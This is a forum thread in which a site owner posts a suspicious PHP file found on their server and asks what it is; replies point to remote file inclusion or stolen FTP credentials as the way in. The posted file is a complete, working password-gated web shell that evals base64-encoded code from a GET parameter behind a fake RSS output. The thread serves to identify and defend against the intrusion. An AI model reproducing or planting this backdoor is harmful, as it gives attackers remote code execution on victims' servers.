Jump to content

What is this?


sastro

Recommended Posts

I found a PHP file in my web yesterday.

Here is the content

 

<?php
  error_reporting(0);
  if (!isset($_GET['a'])) { die("inQontrol"); }
  $pass = "4f7c192d4ea7b0758f191865577f36f2";
  echo "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>";
  echo "<rss version=\"2.0\">";
  echo "<channel><title>inQontrol</title><link>http://google.com/</link><description>inQontrol</description><language>en</language><copyright>inQontrol</copyright>\n\n";
  echo "<output>";
  function writerss($name,$text) { echo "<".base64_encode($name).">".base64_encode($text)."</".base64_encode($name).">\n"; }
  $a = $_GET['a']; $a = md5(base64_decode($a));
  if ($a != $pass) { writerss("status","wrongpass"); }
  else { writerss("status","ok"); $b = $_GET['b']; $b = base64_decode($b); eval($b); }
  echo "\n\n</output></channel></rss>";
?>

 

What is this file?

Link to comment
Share on other sites

Chances are one of the script in your site includes a file from GET data. And you do not check if that file exists on your server and you do not limit it to a white list of pages.

 

This is dangerous in many ways as if allow_fopen_wrappers is on then yea, it can execute a remote script and open your site up to security breaches like so.

Link to comment
Share on other sites

See the article to which I linked above. There are many methods this could be achieved.

 

One option not mentiond there, but apparently quite common recently is a malware stealing your ftp password (stored in your ftp client)

 

 

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.